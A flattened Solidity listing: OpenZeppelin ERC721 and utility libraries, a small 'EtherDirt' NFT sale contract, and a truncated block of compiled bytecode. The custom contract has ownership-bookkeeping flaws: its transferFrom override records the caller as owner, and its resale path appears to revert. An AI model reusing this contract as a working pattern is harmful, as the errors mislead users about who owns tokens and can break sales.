@dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/utils/Counters.sol pragma solidity >=0.6.0 <0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File: contracts/EtherDirt.sol pragma solidity ^0.6.0; contract EtherDirt is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; struct Dirt { address owner; bool currentlyForSale; uint price; uint timesSold; } mapping (uint => Dirt) public dirt; mapping (address => uint[]) public dirtOwners; uint public latestNewDirtForSale; constructor(string memory baseURI) ERC721("EtherDirt", "DIRT") public { _setBaseURI(baseURI); dirt[0].price = 25 * 10**13; dirt[0].currentlyForSale = true; } function getDirtInfo (uint dirtNumber) public view returns (address, bool, uint, uint) { return (dirt[dirtNumber].owner, dirt[dirtNumber].currentlyForSale, dirt[dirtNumber].price, dirt[dirtNumber].timesSold); } function dirtOwningHistory (address _address) public view returns (uint[] memory ) { return dirtOwners[_address]; } function buyDirt (uint dirtNumber) public payable { require(dirt[dirtNumber].currentlyForSale == true); require(msg.value == dirt[dirtNumber].price); dirt[dirtNumber].currentlyForSale = false; dirt[dirtNumber].timesSold++; if (dirtNumber != latestNewDirtForSale) { payable(dirt[dirtNumber].owner).transfer(dirt[dirtNumber].price); transferFrom(dirt[dirtNumber].owner, msg.sender, dirtNumber); } dirt[dirtNumber].owner = msg.sender; dirtOwners[msg.sender].push(dirtNumber); if (dirtNumber == latestNewDirtForSale) { if (dirtNumber < 99) { _mint(msg.sender, _tokenIds.current()); _tokenIds.increment(); latestNewDirtForSale++; dirt[latestNewDirtForSale].price = (10**15 + (latestNewDirtForSale**2 * 10**15))/8; dirt[latestNewDirtForSale].currentlyForSale = true; } } } function sellDirt (uint dirtNumber, uint price) public { require(msg.sender == dirt[dirtNumber].owner); require(price > 0); dirt[dirtNumber].price = price; dirt[dirtNumber].currentlyForSale = true; } function dontSellDirt (uint dirtNumber) public { require(msg.sender == dirt[dirtNumber].owner); dirt[dirtNumber].currentlyForSale = false; } function giftDirt (uint dirtNumber, address receiver) public { require(msg.sender == dirt[dirtNumber].owner); dirt[dirtNumber].owner = receiver; dirtOwners[receiver].push(dirtNumber); transferFrom(msg.sender, receiver, dirtNumber); } function withdraw() public onlyOwner { msg.sender.transfer(address(this).balance); } // Only supported transfer from contract function transferFrom( address from, address to, uint256 tokenId ) public virtual override { dirt[tokenId].owner = msg.sender; dirtOwners[msg.sender].push(tokenId); super.transferFrom(from, to, tokenId); } }
0x6080604052600436106101cd5760003560e01c80636c0360eb116100f7578063a22cb46511610095578063cdfaa67011610064578063cdfaa67014610c2d578063dc670eab14610cd3578063e985e9c514610d2e578063f2fde38b14610db5576101cd565b8063a22cb465146109cf578063b88d4fde14610a2c578063c1c450fe14610b3e578063c87b56dd14610b79576101cd565b8063778050fd116100d1578063778050fd1461088e5780637b89ae95146108d35780638da5cb5b146108fe57806395d89b411461093f576101cd565b80636c0360eb1461078257806370a0823114610812578063715018a614610877576101cd565b806323b872dd1161016f57806345f8950c1161013e57806345f8950c146106245780634f6ccce7146106a05780636352211e146106ef57806369b8856114610754576101cd565b806323b872dd146104a85780632f745c59146105235780633ccfd60b1461059257806342842e0e146105a9576101cd565b8063081812fc116101ab578063081812fc1461034e578063095ea7b3146103b357806317e5abbc1461040e57806318160ddd1461047d576101cd565b806301ffc9a7146101d257806306cc64231461024257806306fdde03146102be575b600080fd5b3480156101de57600080fd5b5061022a600480360360208110156101f557600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610e06565b60405180821515815260200191505060405180910390f35b34801561024e57600080fd5b5061027b6004803603602081101561026557600080fd5b8101908080359060200190929190505050610e6d565b604051808573ffffffffffffffffffffffffffffffffffffffff168152602001841515815260200183815260200182815260200194505050505060405180910390f35b3480156102ca57600080fd5b506102d3610f0b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103135780820151818401526020810190506102f8565b50505050905090810190601f1680156103405780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035a57600080fd5b506103876004803603602081101561037157600080fd5b8101908080359060200190929190505050610fad565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103bf57600080fd5b5061040c600480360360408110156103d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611048565b005b34801561041a57600080fd5b506104676004803603604081101561043157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061118c565b6040518082815260200191505060405180910390f35b34801561048957600080fd5b506104926111ba565b6040518082815260200191505060405180910390f35b3480156104b457600080fd5b50610521600480360360608110156104cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111cb565b005b34801561052f57600080fd5b5061057c6004803603604081101561054657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611296565b6040518082815260200191505060405180910390f35b34801561059e57600080fd5b506105a76112f1565b005b3480156105b557600080fd5b50610622600480360360608110156105cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611404565b005b34801561063057600080fd5b5061065d6004803603602081101561064757600080fd5b8101908080359060200190929190505050611424565b604051808573ffffffffffffffffffffffffffffffffffffffff168152602001841515815260200183815260200182815260200194505050505060405180910390f35b3480156106ac57600080fd5b506106d9600480360360208110156106c357600080fd5b8101908080359060200190929190505050611481565b6040518082815260200191505060405180910390f35b3480156106fb57600080fd5b506107286004803603602081101561071257600080fd5b81019080803590602001909291905050506114a4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107806004803603602081101561076a57600080fd5b81019080803590602001909291905050506114db565b005b34801561078e57600080fd5b506107976117d5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107d75780820151818401526020810190506107bc565b50505050905090810190601f1680156108045780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561081e57600080fd5b506108616004803603602081101561083557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611877565b6040518082815260200191505060405180910390f35b34801561088357600080fd5b5061088c61194c565b005b34801561089a57600080fd5b506108d1600480360360408110156108b157600080fd5b810190808035906020019092919080359060200190929190505050611ad7565b005b3480156108df57600080fd5b506108e8611ba0565b6040518082815260200191505060405180910390f35b34801561090a57600080fd5b50610913611ba6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561094b57600080fd5b50610954611bd0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610994578082015181840152602081019050610979565b50505050905090810190601f1680156109c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109db57600080fd5b50610a2a600480360360408110156109f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611c72565b005b348015610a3857600080fd5b50610b3c60048036036080811015610a4f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610ab657600080fd5b820183602082011115610ac857600080fd5b80359060200191846001830284011164010000000083111715610aea57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611e28565b005b348015610b4a57600080fd5b50610b7760048036036020811015610b6157600080fd5b8101908080359060200190929190505050611ea0565b005b348015610b8557600080fd5b50610bb260048036036020811015610b9c57600080fd5b8101908080359060200190929190505050611f40565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bf2578082015181840152602081019050610bd7565b50505050905090810190601f168015610c1f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c3957600080fd5b50610c7c60048036036020811015610c5057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612229565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610cbf578082015181840152602081019050610ca4565b505050509050019250505060405180910390f35b348015610cdf57600080fd5b50610d2c60048036036040811015610cf657600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122c0565b005b348015610d3a57600080fd5b50610d9d60048036036040811015610d5157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123f8565b60405180821515815260200191505060405180910390f35b348015610dc157600080fd5b50610e0460048036036020811015610dd857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061248c565b005b6000806000837bfffffffff